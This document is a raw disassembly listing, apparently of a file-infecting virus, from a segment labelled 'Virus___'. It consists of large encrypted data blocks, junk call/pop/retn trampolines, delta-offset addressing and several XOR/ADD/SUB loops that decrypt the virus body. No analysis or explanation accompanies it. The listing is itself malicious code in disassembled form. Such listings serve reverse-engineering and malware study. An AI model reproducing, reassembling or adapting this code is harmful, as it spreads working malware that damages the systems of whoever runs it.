		dd 95FF071Bh, 71B2F45h,	12DE9h,	0D5BD2300h, 0B0071B26h
		dd 0F129BB00h, 70E667CCh, 58D0Fh, 81660000h, 0B79F45F7h
		dd 8971E407h, 1B1AA58Dh, 0F613C07h, 10183h, 0FF98B00h
		dd 8B66C8B6h, 6BAF8h, 7E80000h,	0EC000000h, 17CA55E1h
		dd 0F5197E5h, 81h, 0F5B5B00h, 58Ch, 0F7816600h,	0C18B6E3Fh
		dd 858B5660h, 71B04EDh,	61CF8B5Ah, 336D9501h, 0E8C1071Bh
		dd 66D88B04h, 80BBE2F7h, 2B7AA212h, 5E8C8h, 496A0000h
		dd 803BE730h, 8B5FD6CBh, 5E8D1h, 0EE9C0000h, 8132D61Ah
		dd 0D7DF7DF3h, 0E95F5Bh, 8B000000h, 1B283585h, 2D9D2307h
		dd 83071B0Ch, 0E95307C0h, 0Bh, 7D9EB87Dh, 0B86509D0h, 5B424536h
		dd 0E900C083h, 0Dh, 18EE0A00h, 5339253Bh, 45DCB42Dh, 0FD03B80h
		dd 1783h, 9D9D2900h, 81071B08h,	9A5039C3h, 3CE92Eh, 0D3810000h
		dd 134316A4h, 12E98D8Bh, 0BD0B071Bh, 71B0A51h, 0F01E183h
		dd 2184h, 0FE8B6600h, 12E9A583h, 89FE071Bh, 1B2461BDh
		dd 35958907h, 8B071B28h, 1B1C59BDh, 0E907h, 0B58D0000h
		dd 71EDDA8h, 7DC26BBh, 118D8922h, 6A071B34h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 3A98551Fh, 0FADD264h
		dd 9D8B65F3h, 71B172Dh,	128995FFh, 6A071Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 67C826C3h
		dd 0C781ABB7h, 15B99D5Eh, 7E3B9h, 5BDF8100h, 0E838A954h
		dd 10h,	0F9C3081Ch, 0BB2A5B1Bh,	0E37482DCh, 9A1449D6h
		dd 0E7FBBF66h, 0FCE1835Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 79C35343h, 6C5D56ECh,	26EB7F28h, 0B8FCEDh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 864CC352h, 0C9816660h,	12E92DF4h
		dd 9D000000h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh
		dd 0BA61E5h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 2F64C350h, 0F3AC5D4h
		dd 6084DBC6h, 0E9A1CF80h, 0Eh, 69C902D1h, 5B778DD9h, 7336FE76h
		dd 33ADFE2Ch, 3E8D1C2h,	4E983D0h, 6AF475h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 435DF7C3h
		dd 0F3FF290Fh, 6820Fh, 85290000h, 71B21C1h, 68FB49BFh
		dd 7E85358h, 0F4000000h, 0A6FF3692h, 9D89603Fh,	71B3109h
		dd 6A5B5Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 627E68C3h, 75C5BB66h, 0BE9h, 1CE19500h, 1FA9CC2Eh
		dd 18E1F959h, 880Dh, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8589FC4Bh, 71B16BDh, 0F59D8BFCh
		dd 8B071B21h, 1B29B595h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 6A349469h, 65858935h
		dd 8B071B1Ah, 1B02F58Dh, 50006A07h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 1864DB6h, 45BD0157h, 5B071B1Ch
		dd 0E705AFBBh, 0C28B5067h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0DF94C350h, 5F0A5340h,	0F6D22E8h
		dd 860FD9BFh, 6, 14899D8Bh, 0BD83071Bh,	71B2165h, 81840F00h
		dd 29000000h, 1B031995h, 7E95307h, 76000000h, 67E14E97h
		dd 0B85FE7E5h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_58031B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58031B	proc near		; CODE XREF: Virus___:00580313p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58031B	endp

; ---------------------------------------------------------------------------
		sub	al, 5Ch
		mov	edi, [ebp+71B1FEDh]
		lea	ecx, [ebp+71B4F89h]
		mov	ebx, esi
		mov	edi, [ebp+71B041Dh]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_58034E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58034E	proc near		; CODE XREF: Virus___:00580346p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_58034E	endp

; ---------------------------------------------------------------------------
		dw 9D62h
; ---------------------------------------------------------------------------
		js	short near ptr loc_580387+2
		jmp	loc_580378
; ---------------------------------------------------------------------------
		xor	al, [ebx]
		pop	ebp
		aaa
		retn	0A374h
; ---------------------------------------------------------------------------
		dw 7139h
		dd 0B0739AA4h, 2E049393h
; ---------------------------------------------------------------------------


loc_580378:				; CODE XREF: Virus___:00580362j
		cmp	dword ptr [ebp+71B18CDh], 0
		jz	loc_5807FC
		mov	bh, 5Bh


loc_580387:				; CODE XREF: Virus___:00580360j
		cmp	dword ptr [ebp+71B18CDh], 1
		jz	loc_580817
		push	0
		push	ecx
		call	sub_58039F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58039F	proc near		; CODE XREF: Virus___:00580397p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_58039F	endp

; ---------------------------------------------------------------------------
		xchg	eax, edx
		pop	ss
		jge	loc_5803BA
		sbb	bh, 0AEh


loc_5803BA:				; CODE XREF: Virus___:005803B1j
		cmp	dword ptr [ebp+71B18CDh], 3
		jbe	loc_5807E1
		mov	ebx, [ebp+71B2DB1h]
		pusha
		pusha
		mov	edi, 6815E6B0h
		mov	eax, [ebp+71B24B1h]
		popa
		mov	cx, ds
		mov	[ebp+71B3031h],	ebx
		and	cl, 4
		mov	ebx, [ebp+71B29C9h]
		or	cl, cl
		jz	loc_5805BD
		push	0
		push	ecx
		call	sub_580400
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580400	proc near		; CODE XREF: Virus___:005803F8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_580400	endp

; ---------------------------------------------------------------------------
		add	cl, cl
		imul	ebx, ecx, 0A105DF81h
		mov	fs, word ptr [ebx]
		mov	eax, [ebp+71B30E5h]
		push	0
		push	ecx
		call	sub_58042B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58042B	proc near		; CODE XREF: Virus___:00580423p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_58042B	endp

; ---------------------------------------------------------------------------
		db 25h
		dd 14E8A5h, 0E6E60000h,	8ABBF8CFh, 0B4037BE6h, 71AE3ADAh
		dd 2114CEB3h, 8B6611BAh, 9D8B5BDAh, 71B259Dh, 30558533h
		dd 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0F35E6FC3h, 0E9070E8Ah, 8, 1B52885Ch, 12889C7Ah
		dd 0FE86090h, 0B0000000h, 2382A580h, 0E4E3A2B9h, 8B379C97h
		dd 0F08B1084h, 38B3605Ah, 0BB47CAB9h, 50616163h, 0EE8h
		dd 0AE768B00h, 648C7435h, 577173Ch, 0E8E90BA1h,	0Ch, 608DB812h
		dd 86B8D52Ch, 54FFB486h, 6E9h, 43613400h, 5B630B73h, 6A905Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0EC2CA9C3h, 195893Bh, 0B3071B0Dh, 66006A92h,	0E9D543BFh
		dd 10h,	43015B88h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 75CCA768h
		dd 8B4BBFE2h, 48158FEh,	0A9375824h, 52006A1Dh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FF071AF9h
		dd 1B04E995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8F0F4AFBh, 5, 763F8FBBh, 0C8858929h
		dd 0E9071EABh, 1CBh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 6BC35040h, 0D405909Ah, 81B1D6BBh, 7FCE11CBh
; ---------------------------------------------------------------------------
		dec	edi


loc_5805BD:				; CODE XREF: Virus___:005803EFj
		mov	eax, [ebp+71EABC0h]
		push	0
		push	ebx
		call	sub_5805CE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5805CE	proc near		; CODE XREF: Virus___:005805C6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5805CE	endp

; ---------------------------------------------------------------------------
		dw 0CA12h
		dd 2F268DCEh, 0C7AD06h,	18h, 0DE1BD09h,	0B58B071Bh, 71EABC4h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C3C35343h
		dd 8FC3526h, 0D98B6623h, 149858Bh, 8589071Bh, 71B2B29h
		dd 0D0BB0689h, 8B3343F2h, 1B30E585h, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0BD35411Ah
		dd 2E45BD8Bh, 4689071Bh, 0B9958904h, 50071B33h,	8870Fh
		dd 8A0F0000h, 2, 3489DA8Ah, 0FFDF8B24h,	1EABC0B5h, 0DBD8B07h
		dd 0E8071B15h, 4, 1F03FFh, 0F50D98Ah, 0D89h, 8E900h, 0C4930000h
		dd 951388F3h, 448BAA5Ch, 28BF0424h, 8B7024B8h, 0EABF6600h
		dd 24448974h, 8E96004h,	30000000h, 0CB2266B1h, 61EA812Eh
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0FF861363h, 7ACF8166h, 0C8858DA8h, 6A071EABh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 810BC355h, 0D3FA86F7h, 0EE99077h,	8000000h
		dd 7C0449E6h, 0EB43999Eh, 3D8CBBFAh, 8C0F502Dh,	9, 3840Fh
		dd 8B660000h, 816690F8h, 0FF8B9DDBh, 1B04E995h,	0FAB70F07h
		dd 12E8h, 0CD5FD500h, 75197A46h, 2E7BA36Eh, 0DFF83371h
		dd 66A00FC4h, 615FD98Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 93C35545h, 0EB04BEEDh, 8DF9C3BFh, 48A0F48h
		dd 56000000h, 0C75FDA8Bh, 1B18CD85h, 307h, 0ADBD8B00h
		dd 83071B2Bh, 1EABC8BDh, 840F0007h, 35h, 2A45B589h, 45E9071Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 94ECC356h, 858988E9h, 71B0065h
		dd 0D46614BBh
		db 68h
; ---------------------------------------------------------------------------


loc_5807E1:				; CODE XREF: Virus___:005803C1j
					; Virus___:005807F8j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5807E1
		jmp	short loc_580832
; ---------------------------------------------------------------------------


loc_5807FC:				; CODE XREF: Virus___:0058037Fj
					; Virus___:00580813j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5807FC
		jmp	short loc_580832
; ---------------------------------------------------------------------------


loc_580817:				; CODE XREF: Virus___:0058038Ej
					; Virus___:0058082Ej
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_580817
		jmp	short $+2


loc_580832:				; CODE XREF: Virus___:005807FAj
					; Virus___:00580815j
		mov	eax, eax
		push	0
		push	eax
		call	sub_58083F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58083F	proc near		; CODE XREF: Virus___:00580837p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_58083F	endp

; ---------------------------------------------------------------------------
		db 38h
		dd 0A68A7B7Fh, 3850Fh, 0E3800000h, 50006A3Fh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 9CCBC83Ah
		dd 0BE92Bh, 0F2260000h,	0C8BD973Bh, 888443A4h, 0CDBD83CAh
		dd 3071B18h, 445850Fh, 0BB660000h, 0BD831705h, 71EABC8h
		dd 34840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0F8ABC355h,	0BBDDF3E7h
		dd 236E3BD1h, 13E9FCh, 12770000h, 42C8198h, 4F7192B1h
		dd 0F05386AFh, 8A76DF5Ah, 0C8B5FF53h, 6A071EABh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0DA0DC353h, 95FFACF9h, 71B09A5h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 2C35545h, 81A1B64Fh, 328B92DFh
		dd 0BCB58B60h, 6A071EABh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 9605C355h, 5F5EA3A3h
		dd 66B286DCh, 476ECB81h, 106C7h, 0BD330001h, 71B28E1h
		dd 0D98B6650h, 0F243489h, 0B5FFD9B7h, 71EABC8h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B8C35545h, 0BD897FC7h
		dd 71B042Dh, 356195FFh,	6A071Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 11BB35C3h, 129B8C99h
		dd 8BDE8B74h, 1EABBCB5h, 98F38107h, 8B5D9DDDh, 1B041185h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 89F600F4h, 1B26758Dh, 35BD0307h,	89071B24h
		dd 0C486h, 66576000h, 0E958FB8Bh, 0Eh, 0FF3BDA17h, 0E9B009D5h
		dd 0B0C5AA3Ch, 8B6124D5h, 1B29B595h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 168D3EF5h
		dd 0D953115h, 66071B01h, 0C283FA8Bh, 53006A04h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 89B10E0Ch
		dd 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 76FF86C3h, 668C7EEAh, 4D69EF81h, 0BFF9858Dh
		dd 6A071Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 791A93C3h, 8965E033h, 1B355D85h, 0B8868907h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 928C357h, 3877F4ADh, 6A797F46h
		dd 4D9D2300h, 0F071B06h, 0B5FFFFB7h, 71EABC8h, 9DD95FFh
		dd 0BF0F071Bh, 525050DEh, 9E8h,	44DA8600h, 35BD32EEh, 0F5FCFC1h
		dd 5AD88B31h, 24348958h, 0A37DCB81h, 13E97CDDh,	0A6000000h
		dd 9424068h, 4B6A8AE7h,	0A8904721h, 4201F8F5h, 0B5FF0780h
		dd 71EABC8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	53C35747h, 8E85F0Ah, 79000000h,	0D2514B3Ah, 0FF9CDB8h
		dd 688h, 95BD8B00h, 5F071B0Dh, 6830Fh, 85890000h, 71B3309h
		dd 34195FFh, 8166071Bh,	83A509D7h, 1B2431BDh, 840F0007h
		dd 31h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
		dd 31C35646h, 26F6E554h, 50DA4DC2h, 0BD23BF66h,	1243489h
		dd 1B05C19Dh, 0C8B5FF07h, 6A071EABh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1BB7C356h
		dd 10E950h, 0B70A0000h,	4B31CEE6h, 36C38FC6h, 5B468CEEh
		dd 0F5BB457h, 95FFFFBFh, 71B18A5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 5CC35747h, 9112E653h, 0BD8B465Ch
		dd 71B1F1Dh, 0D6DBD33h,	8589071Bh, 71B24B9h, 0ABC8B5FFh
		dd 6650071Eh, 0E85BFE8Bh, 8, 699B9906h,	0AA0098EBh, 2585BD8Bh
		dd 0FF5F071Bh, 1B293D95h, 40F2BB07h, 0BD8311C3h, 71B28F1h
		dd 1B840F02h, 3000000h,	1B3565BDh, 7D858B07h, 89071B00h
		dd 1B22CD9Dh, 0C607h, 0AFAED381h, 85C756F7h, 71B0991h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_580CC3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580CC3	proc near		; CODE XREF: Virus___:00580CBBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_580CC3	endp

; ---------------------------------------------------------------------------
		db 25h
		dd 0D7D8409Eh, 8166F3D9h, 0E94031DBh, 0FFFFF20Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FCC35646h, 14C5D667h
		dd 1F85BD8Bh, 0C18B071Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 79C35343h, 0A5C16BDEh, 0F5E3289h, 384h
		dd 0BEC78000h, 0B70FDA8Bh, 55858DFFh, 6A071B12h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0FF7CC356h, 27A99D8Bh, 8A50071Bh, 240489DEh,	4284BB66h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0BD415C3h, 0C44A2EF2h, 8D898A88h,	71B2CC9h
		dd 799589h, 6A071Bh, 0D91436BFh, 0CD858D1Eh, 6A071F5Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 5B83C357h, 0DAEDEF2h, 2C39BD01h, 0C083071Bh
		dd 7E905h, 873B0000h, 41C50563h, 525090AEh, 11E8h, 763BB300h
		dd 6F53139Eh, 9708B0E2h, 0DE109660h, 61606BFCh,	0E8310F5Fh
		dd 10h,	6C18E944h, 5B180E15h, 0A49B4E31h, 0F058ACF4h, 0DE8h
		dd 55E08300h, 1280C743h, 0C794DFBh, 5B5F0E29h, 0F50585Ah
		dd 48Ch, 69BB6600h, 0BD8B9059h,	71B1429h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 2F104DC3h, 38B6BF66h, 0D0D9D8Bh, 6A071Bh, 880AD781h
		dd 0BB6633D4h, 95FFDEE8h, 71B1EA9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0A9C35747h,	9D8B1F11h, 71B299Dh
		dd 979C8D8Dh, 9589071Eh, 71B11D1h, 6AD1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 4FBBB0C3h
		dd 834B8639h, 1B2105BDh, 850F0107h, 5Bh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 54C35242h, 2BB12FE7h
		dd 6A8D9C55h, 0E5858902h, 90071B24h, 13E9h, 0EB63AD00h
		dd 0A36B7DAh, 0A825C8C4h, 4E08C30h, 0A17BAC25h,	0BF665650h
		dd 905FA270h, 0FFFFBF0Fh, 1B09DD95h, 45BD8907h,	0E9071B04h
		dd 0CB9h, 0E8h,	0ED815D00h, 71F5DD7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E0C35040h,	0F6997C7h, 0B7F887Fh
		dd 2858DFFh, 50071E92h,	0FE9h, 2FFE8100h, 0ACB2E94Eh, 1401525Eh
		dd 95772712h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0C334C351h,	13E8h
		dd 0AF7900h, 0E1B9301Bh, 5258F58h, 0F40B8617h, 0DF1E2845h
		dd 1678EF81h, 645F448Ch, 35FFh,	66600000h, 8B80BFB8h, 1B1879B5h
		dd 89646107h, 25h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0E6BB668Dh, 0D59D8BA2h
		dd 0FF071B26h, 1B264D85h, 6A34B307h, 0D8D780FFh, 0CFDB5FFh
		dd 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 60D99BC3h, 8589F18Bh, 71B17E9h, 0E9958961h
		dd 0FF071B22h, 1B2F4595h, 137E907h, 95890000h, 71B2F31h
		dd 840F00B0h, 5, 0F93529BBh, 5070E679h,	753BC381h, 0E85B60C7h
		dd 6, 0F58619Bh, 12E8E9F4h, 0E3000000h,	45DE4B29h, 8F65667Ah
		dd 1DF46368h, 455DD9D9h, 5FDA8A67h, 8971E45Bh, 1B1B3985h
		dd 0F613C07h, 0E483h, 0B60FF900h, 50D98BC8h, 3269BD8Bh
		dd 0BA5F071Bh, 6, 8B46EF80h, 0B58589C1h, 0C1071B18h, 0F76604E8h
		dd 0BE8E2h, 0F3040000h,	461D7B48h, 89ECBACAh, 0C0BB664Bh
		dd 0BD8B5BC4h, 71B1BA9h, 12E8C82Bh, 3F000000h, 0DBDDBCF1h
		dd 8C81F875h, 5C492EE3h, 40982B1Eh, 0D18B5B12h,	6E9h, 0ED958900h
		dd 8B071B04h, 1B2D4985h, 83FB8B07h, 8B0F07C0h, 4, 93C9BB66h
		dd 18E19589h, 0C083071Bh, 0D03BFC00h, 17830Fh, 9D310000h
		dd 71B348Dh, 2DFD9D8Bh,	46E9071Bh, 81000000h, 0E5244BE3h
		dd 958D8B2Fh, 0B3071B2Dh, 1E18302h, 2F840Fh, 13E90000h
		dd 0B2000000h, 7D447F7Bh, 0B4887ECEh, 19F38389h, 0BDCFD19Ch
		dd 0A5835270h, 71B2D95h, 499589FEh, 66071B2Dh, 0EE1ED381h
		dd 0E9h, 5EB58D00h, 81071EE7h, 0CEF12DE7h, 6A006A24h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 382FC351h, 0FFF98B4Eh, 1B128995h, 0F9BF0F07h, 82AB9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0D3E866C7h, 0A8A0D823h, 0A618531h, 0E183071Bh
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0FC236194h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0B7C35646h, 89B64227h, 1B210195h, 66C02B07h
		dd 0F590CF81h, 0BAh, 8B665100h,	33AD5FD8h, 3E8D1C2h, 4E983D0h
		dd 8166F475h, 6A0D0EEFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8944C356h, 1B19358Dh
		dd 3DBD2307h, 0D071B2Eh, 88h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 6C35646h, 105587CDh, 9781947h
		dd 1B2A8DBDh, 0B5958B07h, 8B071B29h, 1B02F58Dh,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 94557335h, 6F3806D0h, 8B503A31h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0B6C35747h, 7595890Fh, 60071B27h, 5F62B7BEh
		dd 0DE805h, 769C0000h, 0A4327FB9h, 51BA61ADh, 8B50EC13h
		dd 1B2F25B5h, 6A615B07h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 3772C356h, 2165BD83h
		dd 0F00071Bh, 4784h, 0FBBF0F00h, 0B8h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0F816A6B4h, 0EAE15B28h, 1B03C781h, 81660C73h, 8DB93AF7h
		dd 1B4F898Dh, 0CB816607h, 0E1FF7954h, 177FBB66h, 18CDBD83h
		dd 0F00071Bh, 37484h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0BF40AEDBh, 3975E3E5h
		dd 83DFB70Fh, 1B18CDBDh, 840F0107h, 35Ch, 2C39B589h, 0BD83071Bh
		dd 71B18CDh, 13860F03h,	0F000003h, 6A60F9B7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0B6F5C350h, 233E338Fh, 0E9B7D5D5h, 10h, 5FD72E09h, 7EC8575Fh
		dd 7AC2B5C2h, 4006285Dh, 6AD98C66h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 80CDC357h
		dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 9A6442C3h, 0A934A9B3h, 0F3D381F7h, 0A37D67Dh
		dd 0BA840FC9h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0C3F3C353h,	0BF664BBAh
		dd 858BFFF3h, 71B30E5h,	30558533h, 0FE8B071Bh, 8B665090h
		dd 0FBF90F9h, 6A683777h, 819D8900h, 68071B18h, 0D53CEBE8h
		dd 17240481h
		dd 6A2AE218h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0B54EC356h, 0BB666E66h, 95FF61CFh
		dd 71B04E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	1FC35545h, 89A53539h, 1EABC885h, 6DBD2307h, 9071B21h
		dd 1B1291BDh, 183E907h,	3DBF0000h, 92644FBh, 1B351985h
		dd 0C0858B07h, 0F071EABh, 0F381D8B7h, 66B3D1FDh, 1800C7h
		dd 0BD8B0000h, 71B35E5h, 0ABC4B58Bh, 0FE8B071Eh, 149858Bh
		dd 6A071Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 454959C3h, 0DB52FABh, 0E90689EAh,	8, 9DBD0A79h
		dd 35A3C79h, 0EE9h, 0C77D3F00h,	21C15EAh, 30F3D66h, 8BC09768h
		dd 1B30E585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0E8D59C3Dh, 2A959D8Bh, 4689071Bh
		dd 8166F504h, 96B47ADBh, 53536050h, 96615858h, 8BDF8B66h
		dd 0C0B5FFFEh, 0BB071EABh, 28784D61h, 6E568E68h, 10E9F3h
		dd 63BA0000h, 0E529954Eh, 271A1949h, 0B442ED0Fh, 4819D5Bh
		dd 0B0AD7124h, 56006A0Ch, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 858DB26Fh, 71EABC8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0EEC35646h, 50E745DDh
		dd 0F1BFBF66h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 3323C353h, 0C67886F2h
		dd 0F6BF566Eh, 5F0BA45Ah, 4E995FFh, 6A071Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0EDF517C3h
		dd 0EF80E900h, 0BD8B61BCh, 71B33D9h, 18CD85C7h,	3071Bh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 50369DC3h, 4A19529h, 0BD83071Bh, 71EABC8h
		dd 0F840F00h, 0B3000000h, 23E957h, 0B5310000h, 71B003Dh
		dd 3050F88Bh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
